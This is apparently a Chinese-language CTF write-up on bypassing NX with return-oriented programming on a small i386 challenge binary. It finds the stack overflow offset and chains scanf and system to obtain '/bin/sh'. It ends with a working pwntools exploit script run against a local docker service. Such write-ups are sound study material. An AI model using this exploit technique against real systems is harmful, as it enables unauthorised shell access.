[pwn]ROP:繞過NX策略

[詳細] ROP:繞過NX策略

我們使用的例子是這篇博客中的第一個例子:https://bbs.ichunqiu.com/thread-42530-1-1.html?from=sec,在i386環境中運行,很簡單的一道題,這裏提供一種更加簡單的解法,只需細緻觀察,可以免除一些不必要的計算。
程序鏈接:https://pan.baidu.com/s/1dgiR7KwEjkI4i5nLJ-5jzQ 提取碼:4zza
NX策略是使棧區域的代碼無法執行,但我們可以使用ROP繞過。

ROP技術就是不需要自己手動寫shellcode,只是利用文件中給出的多個跳轉指令,實現利用原有代碼達到獲取shell的目的。可直接根據這個簡單的例子來理解。

查看安全策略

在這裏插入圖片描述
如圖,可見程序開啓了NX防護。

將程序拖進IDA中,查看彙編代碼及僞代碼:

在這裏插入圖片描述
在這裏插入圖片描述

可見,使用了_isoc00_scanf函數,發生了溢出,應該是v1參數是一個字符串數組,向v1輸入字符串即可溢出。但具體溢出位置還要調試時確定,接下來開始調試。

計算具體溢出位置

先執行過mov ebp,asp後:
在這裏插入圖片描述

再看棧區的棧底:
在這裏插入圖片描述

畫框的就是返回的地址,因爲剛剛之前的ebp入棧了,所以棧底的緊下方就是調用main之前的返回地址。接下來執行到scanf的位置,然後轉到linux系統中輸入:

在這裏插入圖片描述

在這裏插入圖片描述

接下來從棧底到棧頂中間位置尋找8個A,就是十六進制的41:
在這裏插入圖片描述

可以看到,距離棧底有52個字節,也就是說,第53~56個字節的內容會正好覆蓋返回地址。但即使這樣,我們也不能通過手寫shellcode的方式實現溢出獲取shell。只能在函數中尋找看有沒有其他機會。

利用思路

我們想要執行的是system("/bin/sh")函數,所以我們應該找到system的位置和字符串"/bin/sh"。
在這裏插入圖片描述

其實打開IDA的時候就注意了,文件本身導入了system函數,但沒有發現"/bin/sh"字符串,不過不要緊,因爲文件本身使用了scanf,我們可以手動輸入"/bin/sh"字符串,只需要尋找一個可讀可寫的段來存儲這個"/bin/sh"(8字節)就好:
在這裏插入圖片描述

Load段就不錯,當然其他段也可以,這裏起始地址是0x0804A030,既然要使用scanf函數,所以我們自然還需要另一個參數%s,這個字符串由於在原文件中也調用了scanf,所以我們也可以找到,就是0x08048629:
在這裏插入圖片描述

在這之後我們整理一下思路,首先,需要通過棧溢出覆蓋main函數的返回地址,直接覆蓋爲system函數的地址是肯定不行的,因爲這時還沒有system的參數"/bin/sh",所以我們應該先輸入"/bin/sh",那麼就應該先調用scanf,即使用scanf的地址覆蓋main的返回地址。然後會調用scanf函數,所以我們還需要使用棧溢出來輸入scanf函數的參數。但需要注意的是,在scanf函數的地址和參數之間還夾着一個scanf的返回地址,就是scanf執行到rtn時EIP跳轉的地址。結構如下:

在這裏插入圖片描述

在這裏我們向讓scanf函數執行之後直接執行system函數,所以在scanf的返回地址上填上system的地址。但system還有返回地址和參數需要填寫,而棧中接下來的確實scanf函數的參數,其實這裏是不影響的,因爲這裏調用scanf函數,負責清理棧空間(清理參數)的也是scanf,也就是說scanf函數執行結束會將自己的參數清理,這裏是怎麼看出來的?我們查看彙編源碼:
在這裏插入圖片描述

從scanf之後一直到retn,沒有任何一個語句對ESP進行了加法操作,正常來講(C++默認的調用約定__cdecl調用約定),由調用者管理棧空間,也就是說在調用完scanf之後應該有一個add esp,8的操作。這裏再主函數中沒有發現,所以推斷是使用的“被調用者管理棧空間”的調用約定。也就是說如果我們將棧區覆蓋爲以下的樣子,那麼調用結束之後會變成這樣:
在這裏插入圖片描述

也就是說棧空間會正好變成調用system函數的樣子,其中system函數的返回地址隨便填寫就行。

利用代碼:

首先要在docker中開啓監聽:

socat tcp-listen:1002,reuseaddr,fork EXEC:./pwn1,pty,raw

然後python代碼如下,代碼修改自原博客版:

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 1002)

elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])	#plt表中scanf函數所在內存地址
system_addr = p32(elf.symbols['system'])		#plt表中system函數所在內存地址
main_addr = p32(0x08048531)		#main函數地址
format_s = p32(0x08048629)		#字符串"%s"所在內存地址
binsh_addr = p32(0x0804a030)	#從內存中找到的可寫地址

shellcode1 = 'A'*0x34	#padding
shellcode1 += scanf_addr # 調用scanf以從STDIN讀取"/bin/sh"字符串
shellcode1 += system_addr # scanf返回後到system函數
shellcode1 += format_s # scanf參數 
shellcode1 += binsh_addr # "/bin/sh"字符串所在地址,scanf的第二個參數
shellcode1 += 'aaaa' # system函數返回地址,隨便填
shellcode1 += binsh_addr #system函數的參數,binsh的地址

print io.read()
io.sendline(shellcode1)
sleep(0.1)					#等待程序執行,防止出錯
print io.read()
io.sendline('/bin/sh')
sleep(0.1)					#等待程序執行,防止出錯
print io.read()
io.interactive()

結果:
在這裏插入圖片描述

感興趣的同學可以去原博客查看,非常簡單的一道題,只不過原博客中使用了更長的rop鏈,第二次調用main時還需要重新計算一次棧的覆蓋長度,比較麻煩,而經過仔細觀察後發現scanf函數自己清空了參數,那麼可以使用簡單的方法直接調用system函數。

參考(原博客):https://bbs.ichunqiu.com/thread-42530-1-1.html?from=sec

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章